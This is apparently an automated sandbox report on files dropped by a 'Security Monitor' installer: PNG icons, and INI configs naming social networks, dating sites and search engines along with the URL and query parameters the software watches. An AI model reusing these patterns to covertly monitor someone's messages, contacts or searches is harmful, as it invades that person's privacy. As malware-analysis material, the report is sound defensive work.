MD5:	0FB46F0A45701EA2D22DCAB7E82C8B5D
SHA1:	71FE89922F1F4DE4C1F7101607A18402F436069A
SHA-256:	C28F498E0C59B1E3741850574D9E7F9282D4BA6F90BFE175B3F24B69561A52EC
SHA-512:	B1E780BDED7AD696E28DC20FA8FEDC11C7A423D134083A6F24DA9D6044D67D1997FED26425939523B02B044FDBEA28D2C05BA039C5024B43DD87C4CECF88CD9C
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8O..K..0..=....^....\.J.**.. ...Ek...T..Vt..$&}D...tf..3mRF.E.BQ+......r.....N?......O..A6.t...r.@G..r.P..r..P.1V... ;@.E..E..XS.Q@.@... ,...W......Y.#..{.p..3@........ ..`!@@w.#...."...\|6.D.....=..(....\|...<.@.Z.......b]....7;Z....~..K...7AN...'...L..P.......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\is-HDK7S.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	386
Entropy (8bit):	7.00776812280233
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3tedVeog/dmQEyGZ34lO47R4pyOcVuAUrm7OGBQ6bp:6v/78/nyA5dmQHuU7SpyOcVtz/Bt1
MD5:	9321CA9A72F08DDF4987816DDCA3D413
SHA1:	DF2EE42EB884D660440C3EBE6D8227EA443DE23A
SHA-256:	46BD2F7186989CAA26BF20092F0BDBA9EC94357A69940F6C8EA16E8E5C0FAEA7
SHA-512:	F37F4348594CB29622B0CEFBD8515772DE49DE8040F906209D6EA44844BDBDDE1C88DF1167B13AFF3D3BF59A41831E7895EF1B4F5C03774B1060BD8FF5D76EAA
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8O./..P........a.h...a..n0..e.."XV.k........9........x....s.o.M.Z..}1MSt]W .+.....M.....E.$I.@.G.0...LA...X.%.a(..Q+6...Tr.*.h..@...9.54j.&.....JcnL.G...x.T..........Z...h.6....<..V..j..<y.f.@S2...d...O..^.T....T...{2..u.....=.q..x.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\is-J4QLD.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	341
Entropy (8bit):	6.666726809754627
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3teHAFYqNQHvot6aM1nqJyVlMt+OxMp:6v/78/noAF2vonMDHs+Ox+
MD5:	7D35A55137029755B25CA2B25F54D7AE
SHA1:	22C1FA56B55C250889EB7B2AECE02803F34E4D43
SHA-256:	07256C3BA7DF49D4258054B35AFD01555CC25BD32D19DA852F1077C5B298A8CD
SHA-512:	2FFE767C9FCE4BC994460E7071579B6DF94A650FF9E3F9CC0538D599CD40178304302583C826F9CF39BAD2F160433E264BD2265DB17D016FA60158EF34461D0A
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc`..L.........@...K.....?..O....Y.e...m./...7.....A. .Y-V.@.a......I6...p. C@\|.!X].jZ... ........n....A\|......l...)\|py5..77...X.....p.a....^@.@........x.@Jz...$..^......7.23.....y..?..k.......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\is-K5INR.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	468
Entropy (8bit):	7.111349425204145
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3tezZiBETckBgamBUuzzCg5z7yDALRIjfq1iMrjWTa/IUlqauE:6v/78/nawkdmBUKf5zaIybM/WqTsY
MD5:	37DA94ECD734F687EF2BD6B876BA3918
SHA1:	20F07BFA0FCF04B900F5E78B503B9E7597BB652D
SHA-256:	310373B5A0CA520244BBC8C21837F356781DE404EBEEAD88A44AC149B4B3EFE1
SHA-512:	AF4D0182BE380DDD3972D905AE8800AA5720DD42FE62504090BBC5BF929771844C7F8DE7594851A562ED982FE3DD4EDA7B07D7177DD037C74A5D0EA510E7A863
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r....CIDAT8Oc`...=./..'........x1H.^.~......p........2...b>..@..4o.u......?.j......Wt...2....\.......'./.\|....`z...O..G. .0.............+{v.]Q....$...._.....x.y...@,...?~c...S....-^..... .~.....~.....?~.....s.C...o.....i..'....4..y...b.Y.s...Uo._....u.Pb..r.8..@..6d.....(.{..A... v..(iB.h..... ..................5BJ.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\is-KN6US.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	307
Entropy (8bit):	6.610384624893472
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3tepODZkidAJRzwBtNpQ+YiMpOhbi9eo77Vp:6v/78/nffTBvpQRiombi9j7
MD5:	06CE05DA1418C5F5B952911492F1D313
SHA1:	17A0D4EBD1E5A5BD338ECCAEF1CA9944EEC7C156
SHA-256:	380154EAE1DE86B8AA27433A0044FBB471A0C067E14DD8DD740F6419A06F0EFB
SHA-512:	3735BF636D31B885B429EA1C70CCC3850666A801C53B40F5570EF584D6180486E22A06DB31757987DDC5EDBB209CBF2790A8DB2566C8962107519CEC75F7A871
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc`.p.i.....da.^.....>..Az..x{{...g..^ ..7...a....@.c.............>0...5.W.X...;......765.....b]........... .06..`~.?........0Y..{......_......,..Kqf....l9pA}....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\is-P5ULQ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	414
Entropy (8bit):	6.921441707444873
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3teNq0dooGB9bqqTLPolIae+w2iYjDbg2UOj93OFo4wrbp:6v/78/nilvunTLseF2iYjfg29VOFS
MD5:	6D7B39EE6BA125324EC0457FB8B1CF30
SHA1:	E7B708B0D544F6B3137AB7E06914C8F318859DB3
SHA-256:	7A9A198F92900BF042FEDB164367091853F9E3517B389197234889E68A05B04E
SHA-512:	14CFE6B76479E2BD27E8893E2096B1A27B9B8726E3D70F64F163BEAD669E06D793AD176DF19073ECD5D491E7386A66F74E7AE8734DAC56DD292E401BD2382033
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc`.T .q....U.Sk6.'.a5...o..............dHd....W...0s...E+)0`.. .IrA.P....h.y..v....Y.......gff.1H....n.O.^.6..I.e#;.....G. .....n3.v...Ov.1...@..0 .a.........S...a@$0.;g.B..f.6..x!...}.!..t\|........#...+..._..?..dL(.a..v.O...}.......F..8...P.3A6.'&..P.....e.K......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\is-UFLBF.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	296
Entropy (8bit):	6.500966192845998
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3teBQFMnlqsTJee5uicbPfZSyxX0GUd/eup:6v/78/nIQFMnkyf54rfsrpz
MD5:	1374A978134A935973CAF3CD4BFD5DD6
SHA1:	3A24FBE3ACDA81875702DE3DC013EA3C3B717AB5
SHA-256:	DF28F5437300E6BF466FED1E74E785D4BD205ADDB1AACCBB37F51E7FD79B9C13
SHA-512:	076C7993D4547042FF31C8560FC3C0A699C940CAC85668D9622E6B5F26F26C90DB5E395A1AEC0EEACDF842996A5D734FBCC310638C0D3E4C97E328419ED4000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc`.&...<...I.....4N.6.?).d...7...2..{..YC...a5.b...h....A..GX1H...(6...d...p....$.^.........w.<.....@..]XJ....K...(.....X^d.2......R..G... .k..^.j....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\is-VSA1C.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 15 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	304
Entropy (8bit):	6.615232112735145
Encrypted:	false
SSDEEP:	6:6v/lhP8LMR/C+wZA3te4YeOiG/WrSUAHmrOk3I9/t6CEyO9hbp:6v/7V/nw5WGUAHmrJ3Wl3Ol
MD5:	7710D6BF6295D39378CE75797D7509B5
SHA1:	090E061712842B2611BDDF21DE8FDC016DE827AB
SHA-256:	3A098E07391825DB6349455DAF4215AE19C52A55B6838F7539FC1D439F5988A0
SHA-512:	725B1F1292B10C80FAF1B3F9799A8833866829687A798037FEA2477F8E567E077FD2868B1B177D74B7C8C86F501C8E9706733D600774BECB53141BD136C98F5B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............V%.....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc.``........@..:;..A........w...'..5W...'....h.a...Pw0..lb 9..0..q.."..Z.~.9..C.....31....Dk.16..g....b.>.`#..;W.....A.1H=H.C....Pc...b.>. ..b)2........+4F....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\is-AOLNP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Generic INItialization configuration [Marks]
Category:	dropped
Size (bytes):	159
Entropy (8bit):	4.674458029739085
Encrypted:	false
SSDEEP:	3:91A2vTzyosXO/ovsh2vJ5Im5B9gHovNRN4o6bHiys6SIFv9oc:91A2vT+vm/h2v8ARNmi/6S+v9oc
MD5:	6BD299C4CBF0029EA3F2F85BE0268693
SHA1:	D45F93594FEEA321B778C691051CE9B47D13D480
SHA-256:	BB9DBEEE227D18FFB6BE8AE4C33D681CC8A04FF1120F69EBF73E98E4302C6051
SHA-512:	7EEDA815F4D91D0B588DA4B0F3EFB222CA189A8E42333B1664EC9520FD1BA68EF80ABC9F4B965CD5657A0334B8AED2C412DC79CEEF9EC34867CC429A51C1E95E
Malicious:	false
Reputation:	unknown
Preview:	[Guests]..ID="ok.ru/guests"..[Marks]..ID="ok.ru/marks"..[Friends]..ID="/friends"..[Photos]..ID="/photos"..[About]..ID="/about"..[Profiles]..ID="ok.ru/profile/"

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\is-N6CHK.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Generic INItialization configuration [News]
Category:	dropped
Size (bytes):	859
Entropy (8bit):	4.858296034006616
Encrypted:	false
SSDEEP:	12:Ty3COfcKd063/4Ga1rmWCdmr1gm+amVyxpgmkmAEnnmmImC4dmEnq:+kKGQiC5Enrq
MD5:	4A6A1B208E79D27168441977D43897FC
SHA1:	FAE08C5EF8DB510F634E46623AB09C63EA9C3F8A
SHA-256:	F2B9D0C45FA2A9B15BB9694C26BD75B45B4E011B99D80604D2984C0F856B2AD9
SHA-512:	79E43D69F7973750B534BDE680380BC912B906F3D3D848255BA3F8ADE4DC7FAD460CD0FF14230AEAED4285F291D6510AF57FA1F9876ABEFDE1F6D56890B35D03
Malicious:	false
Reputation:	unknown
Preview:	[Welcome]..ID="facebook.com/?sk=welcome"..[News]..ID="facebook.com/?sk=nf"..[Messages]..ID="facebook.com/messages"..[Events]..ID="facebook.com/events"..[Find friends]..ID="facebook.com/find-friends/browser"..[Invite friends]..ID="facebook.com/?sk=ff"..[Friends]..ID="facebook.com/lists"..[Friends List]..ID="/friends?ft_ref=flsa"..[Groups]..ID="facebook.com/bookmarks/groups"..[Settings]..ID="facebook.com/settings?tab=account"..[Security]..ID="facebook.com/settings?tab=security"..[Notifications]..ID="facebook.com/settings?tab=notifications"..[Subscribers]..ID="facebook.com/settings?tab=subscribers"..[Apps]..ID="facebook.com/settings?tab=applications"..[Payments]..ID="facebook.com/settings?tab=payments"..[Facebook Ads]..ID="facebook.com/settings?tab=ads"..[Gifts]..ID="facebook.com/settings?tab=gifts"..[Privacy]..ID="facebook.com/settings/?tab=privacy"

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\is-RERTQ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Generic INItialization configuration [Friends]
Category:	dropped
Size (bytes):	162
Entropy (8bit):	4.685024049706956
Encrypted:	false
SSDEEP:	3:QRUXdrx9reugHovdMTaW4/d1amqKL946WImgK4/d1amqKLrjM+n:KOdrDeaMB4FQ7l9NgK4/dQ7r+n
MD5:	CFA4D0ED34E826F2A6A243ADCE69C272
SHA1:	F4C7EA1EFC0FD6A61706120C4BF66452418805EC
SHA-256:	9202BF8E81E98F492F5610A2F67E6CF8882890484F0F8E7B43EE9DA2D2372B70
SHA-512:	66663614DCBBC9E62E91A2B34B1518AD3EB7C78C39F8DA9523F1D17A7CBC3000EAC7F7373A698BF9F76A3B395EB857393225E4E77216EBEE06C83CF0D871FF88
Malicious:	false
Reputation:	unknown
Preview:	[Messages]..ID="vk.com/im"..[Friends]..ID="vk.com/friends"..[Notifications]..ID="vk.com/feed?section=notifications"..[Replies]..ID="vk.com/feed?section=replies"..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\is-1NAQA.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.314915181326778
Encrypted:	false
SSDEEP:	3:LqRlJbXyi6AA:2lBrA
MD5:	D584582812D6A2E882BE885DD27E18E5
SHA1:	388346E2897C7849D8F7E38A2450377023503257
SHA-256:	63B34D170783C35985AB770AA19CE31E5AC8C90899423BE3A587B1CF17D417B8
SHA-512:	C057ED6B8AD5DB53BD6D4FC556E03F3D6607D06A35D4FE91BD16B39E2DC9822FC7F1C740BA89297D31F645047B7941DE1501115ED2159180BC41B4B37C9F1D83
Malicious:	false
Reputation:	unknown
Preview:	Facebook..Instagram..Youtube..Twitter..LinkedIn

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\is-7NH8Q.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Generic INItialization configuration [Instagram]
Category:	dropped
Size (bytes):	2361
Entropy (8bit):	5.086790461308817
Encrypted:	false
SSDEEP:	48:lkYaqeR/Mfg1mg6kL33dMLoXL2MK7hWNPE0hx8wgOV+U3DkROxPDv:ukgEEx6O+m+YPFYyJ
MD5:	C846DA6EDAA3DA7B84D7C275232E7113
SHA1:	48EFA8A9F71BA06A8AEF67786F234CCFF43EBFF1
SHA-256:	4AAEB9FA982ADED9CE384AFDD72AD2D9F25F4D4803D29936D86F3836F71ED323
SHA-512:	69259712A33EEAAAB99503C95E8F5F5614ECBD300065EED89181A26DFF15621F69D7B995212EBD6062A739C0A05B0BFED11E5B367AE91A6D80895519F75CA455
Malicious:	false
Reputation:	unknown
Preview:	[Facebook]..ID="facebook.com"..NodeID=31..msgID="facebook.com/messages"..SearchID="facebook.com/search/results.php"..QueryID="?q="..LoginOk="facebook.com/?sk=welcome"..[Instagram]..ID="instagram.com"..NodeID=68..msgID=""..SearchID=""..QueryID=""..LoginOk=""..[Youtube]..ID="youtube.com"..NodeID=69..msgID=""..SearchID="youtube.com/results?search_query"..QueryID="?search_query"..LoginOk=""..[Twitter]..ID="twitter.com"..NodeID=33..msgID="twitter.com"..SearchID="twitter.com/i/#!/search"..QueryID="#!/search/"..LoginOk=""..[LinkedIn]..ID="linkedin.com"..NodeID=35..msgID="linkedin.com/msgToConns"..SearchID="linkedin.com/search"..QueryID="keywords="..LoginOk="linkedin.com/home"..[Myspace]..ID="myspace.com"..NodeID=32..msgID="http://www.myspace.com/my/mail"..SearchID="http://www.myspace.com/search/"..QueryID="?q="..LoginOk="myspace.com/home"..[VKontakte]..ID="vk.com"..NodeID=36..msgID="vk.com/im"..SearchID="http://vk.com/search"..QueryID="[q]="..LoginOk="vk.com/id"..[Odnoklassniki]..ID="ok.ru"..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\ru\default.ini (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	64
Entropy (8bit):	4.327066369049407
Encrypted:	false
SSDEEP:	3:K26WLRAXXRlJ6AA:b6WL2XBldA
MD5:	CE9D18D694ABDCAC70A411D4D97C0231
SHA1:	F12E3CBE15AF7D09B9733E08C8CA2A7B8B934DBA
SHA-256:	BBF1063DC08DB46AA6A44034E46B917D3F0A7F95668854565EBE8DFE2B0CD7C1
SHA-512:	245E456B408CE7E7428F96C293E0FBABE1FFF54B0A877EFE9DE18F49B0D52CE5A361E250FF8122EE07EE7CE276D56DCB5865339CA69545034726699C6315A7FE
Malicious:	false
Reputation:	unknown
Preview:	VKontakte..Odnoklassniki..Facebook..Instagram..Youtube..LinkedIn

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\ru\is-H6FGP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	64
Entropy (8bit):	4.327066369049407
Encrypted:	false
SSDEEP:	3:K26WLRAXXRlJ6AA:b6WL2XBldA
MD5:	CE9D18D694ABDCAC70A411D4D97C0231
SHA1:	F12E3CBE15AF7D09B9733E08C8CA2A7B8B934DBA
SHA-256:	BBF1063DC08DB46AA6A44034E46B917D3F0A7F95668854565EBE8DFE2B0CD7C1
SHA-512:	245E456B408CE7E7428F96C293E0FBABE1FFF54B0A877EFE9DE18F49B0D52CE5A361E250FF8122EE07EE7CE276D56DCB5865339CA69545034726699C6315A7FE
Malicious:	false
Reputation:	unknown
Preview:	VKontakte..Odnoklassniki..Facebook..Instagram..Youtube..LinkedIn

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\zh\default.ini (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	46
Entropy (8bit):	4.289760053836067
Encrypted:	false
SSDEEP:	3:GAwEHRlJ6AA:rldA
MD5:	A93742C5D8E593F07A5A9951CC0C9B8F
SHA1:	775714482966FE1FED5185AC0C73A6D44255AB29
SHA-256:	A15CF44B89919588E0C5D703E83C6E2D4E74C4F47D76EEB3CFB8CB6AD9821A5E
SHA-512:	C4899FB5BA32AE6D60D2AB9D0BEF08D05C0B9789969FDD4C015CA9B07B655183F2C70565EEED9A76FC915DCF80149961CBAFF7240F059331A7A872897E5BBEF3
Malicious:	false
Reputation:	unknown
Preview:	QQZone..Facebook..Instagram..Youtube..LinkedIn

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\zh\is-8MNTC.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	46
Entropy (8bit):	4.289760053836067
Encrypted:	false
SSDEEP:	3:GAwEHRlJ6AA:rldA
MD5:	A93742C5D8E593F07A5A9951CC0C9B8F
SHA1:	775714482966FE1FED5185AC0C73A6D44255AB29
SHA-256:	A15CF44B89919588E0C5D703E83C6E2D4E74C4F47D76EEB3CFB8CB6AD9821A5E
SHA-512:	C4899FB5BA32AE6D60D2AB9D0BEF08D05C0B9789969FDD4C015CA9B07B655183F2C70565EEED9A76FC915DCF80149961CBAFF7240F059331A7A872897E5BBEF3
Malicious:	false
Reputation:	unknown
Preview:	QQZone..Facebook..Instagram..Youtube..LinkedIn

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SearchEn\SearchEn.ini (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Generic INItialization configuration [Bing]
Category:	dropped
Size (bytes):	403
Entropy (8bit):	4.907393652480167
Encrypted:	false
SSDEEP:	6:q7HkVMKScEhBLLPWKBFHxpZ8FEh6XQcU0socpvIEyyJFnHn:q7EmuEhBHTDS+Ifcph15Hn
MD5:	B53F62F901D117D87C4F2C1C68D8E092
SHA1:	9DC2741DF0AB9D2B8E3D533E980E6DF71FD371ED
SHA-256:	62A43DD8AE4C377B91DB18E5CA4DFD7FDBA2834FF4AF36F76AD2AA4BD8715650
SHA-512:	22DA0AA723324DF15FEC0231A7CB791541CA5F844E51E55DBFC3654E5D56F943B837E4098613E804BD9729AD1B630937336D9EDBC8259FC34EC5C7783ACC290C
Malicious:	false
Reputation:	unknown
Preview:	[Google]..ID="google."..QueryID="q="..[Bing]..ID="www.bing.com"..QueryID="search?q="..[Yahoo]..ID="search.yahoo.com"..QueryID="p="..[AOL]..ID="search.aol.com"..QueryID="&q="..[Yandex]..ID="yandex.ru/"..QueryID="text="..[MAIL.RU]..ID="go.mail.ru/"..QueryID="q="..[Rambler]..ID=".rambler.ru/"..QueryID="?query="..[Twitter]..ID="twitter.com/i/#!/search"..QueryID="?q="..[Baidu]..ID=".baidu."..QueryID="wd="

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SearchEn\is-0EGJF.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Generic INItialization configuration [Bing]
Category:	dropped
Size (bytes):	403
Entropy (8bit):	4.907393652480167
Encrypted:	false
SSDEEP:	6:q7HkVMKScEhBLLPWKBFHxpZ8FEh6XQcU0socpvIEyyJFnHn:q7EmuEhBHTDS+Ifcph15Hn
MD5:	B53F62F901D117D87C4F2C1C68D8E092
SHA1:	9DC2741DF0AB9D2B8E3D533E980E6DF71FD371ED
SHA-256:	62A43DD8AE4C377B91DB18E5CA4DFD7FDBA2834FF4AF36F76AD2AA4BD8715650
SHA-512:	22DA0AA723324DF15FEC0231A7CB791541CA5F844E51E55DBFC3654E5D56F943B837E4098613E804BD9729AD1B630937336D9EDBC8259FC34EC5C7783ACC290C
Malicious:	false
Reputation:	unknown
Preview:	[Google]..ID="google."..QueryID="q="..[Bing]..ID="www.bing.com"..QueryID="search?q="..[Yahoo]..ID="search.yahoo.com"..QueryID="p="..[AOL]..ID="search.aol.com"..QueryID="&q="..[Yandex]..ID="yandex.ru/"..QueryID="text="..[MAIL.RU]..ID="go.mail.ru/"..QueryID="q="..[Rambler]..ID=".rambler.ru/"..QueryID="?query="..[Twitter]..ID="twitter.com/i/#!/search"..QueryID="?q="..[Baidu]..ID=".baidu."..QueryID="wd="

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\is-P3F7J.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (4429), with CRLF line terminators
Category:	dropped
Size (bytes):	12672
Entropy (8bit):	4.945624942122352
Encrypted:	false
SSDEEP:	192:PEOFXvauPDJG6oOmEvV8OOdc4QlyjzOsXY7g0jCsSbC2FRSnK:8OhvXFG6oORVzf4Wy3YjkbCORSnK
MD5:	EAB386B915F70A4A1F89FE9FF6869FE9
SHA1:	C4FAAEC24E3A335D855347DFABDA65D667FF45AB
SHA-256:	A0BB8DA59EA887B970CAB6DDACB14D3982A04D40FB40C391E7C043E0B48C940C
SHA-512:	FBF63960ADE19D872597158E99DE499C7DC080E64E2B7F921D8A3BB96A0A77018C8DC0B0DD9E8B8213F06BD6B5F5279DBC5180DC39A1A64D55A3F503B17B307B
Malicious:	false
Reputation:	unknown
Preview:	.[Social Networks]..0=facebook.com..1=myspace.com..2=tiwitter.com..3=linkedin.com..4=bebo.com..5=friendster.com..6=hi5.com..7=habbo.com..8=ning.com..9=classmates.com..10=tagged.com..11=myyearbook.com..12=meetup.com..13=mylife.com..14=fixter.com..15=myheritage.com..16=multiply.com..17=orkut.com..18=badoo.com..19=gaiaonline.com..20=blackplanet.com..21=skyrock.com..22=perfspot.com..23=zorpia.com..24=tuenti.com..25=nk.pl..26=irc-galleria.net..27=studivz.net..28=xing.com..29=renren.com..30=kaixin001.com..31=hyves.nl..32=millatfacebook.com..33=ibibo.com..34=sonico.com..35=wer-kennt-wen.de..36=nate.com..37=mixi.jp..38=iwiw.hu..39=plus.google.com..40=vk.com..41=odnoklassniki.ru..42=pinterest.com..43=livejournal.com..44=meetup.com..45=blogspot.com..46=tumblr.com..47=instagram.com..48=blogger.com....[Dating Sites]..0=match.com..1=plentyoffish.com..2=zoosk.com..3=eharmony.com..4=singlesnet.com..5=okcupid.com..6=true.com..7=christianmingle.com..8=cupid.com..9=datehookup.com..10=chemistry.com..11

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\url_cat (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (4429), with CRLF line terminators
Category:	dropped
Size (bytes):	12672
Entropy (8bit):	4.945624942122352
Encrypted:	false
SSDEEP:	192:PEOFXvauPDJG6oOmEvV8OOdc4QlyjzOsXY7g0jCsSbC2FRSnK:8OhvXFG6oORVzf4Wy3YjkbCORSnK
MD5:	EAB386B915F70A4A1F89FE9FF6869FE9
SHA1:	C4FAAEC24E3A335D855347DFABDA65D667FF45AB
SHA-256:	A0BB8DA59EA887B970CAB6DDACB14D3982A04D40FB40C391E7C043E0B48C940C
SHA-512:	FBF63960ADE19D872597158E99DE499C7DC080E64E2B7F921D8A3BB96A0A77018C8DC0B0DD9E8B8213F06BD6B5F5279DBC5180DC39A1A64D55A3F503B17B307B
Malicious:	false
Reputation:	unknown
Preview:	.[Social Networks]..0=facebook.com..1=myspace.com..2=tiwitter.com..3=linkedin.com..4=bebo.com..5=friendster.com..6=hi5.com..7=habbo.com..8=ning.com..9=classmates.com..10=tagged.com..11=myyearbook.com..12=meetup.com..13=mylife.com..14=fixter.com..15=myheritage.com..16=multiply.com..17=orkut.com..18=badoo.com..19=gaiaonline.com..20=blackplanet.com..21=skyrock.com..22=perfspot.com..23=zorpia.com..24=tuenti.com..25=nk.pl..26=irc-galleria.net..27=studivz.net..28=xing.com..29=renren.com..30=kaixin001.com..31=hyves.nl..32=millatfacebook.com..33=ibibo.com..34=sonico.com..35=wer-kennt-wen.de..36=nate.com..37=mixi.jp..38=iwiw.hu..39=plus.google.com..40=vk.com..41=odnoklassniki.ru..42=pinterest.com..43=livejournal.com..44=meetup.com..45=blogspot.com..46=tumblr.com..47=instagram.com..48=blogger.com....[Dating Sites]..0=match.com..1=plentyoffish.com..2=zoosk.com..3=eharmony.com..4=singlesnet.com..5=okcupid.com..6=true.com..7=christianmingle.com..8=cupid.com..9=datehookup.com..10=chemistry.com..11

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\ff.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	38533120
Entropy (8bit):	6.659117982180381
Encrypted:	false
SSDEEP:	393216:lw4FxslQp+QsIjKvL/RouclpOaPdvmtzzGnDHmgRBbxr5U0zvOaHxA2KZc4P9QpC:lw4fslOPKVouExr5U0zGaHxAJkuC+d7
MD5:	63C6697F6F8C4DE12A18633A65A6DD50
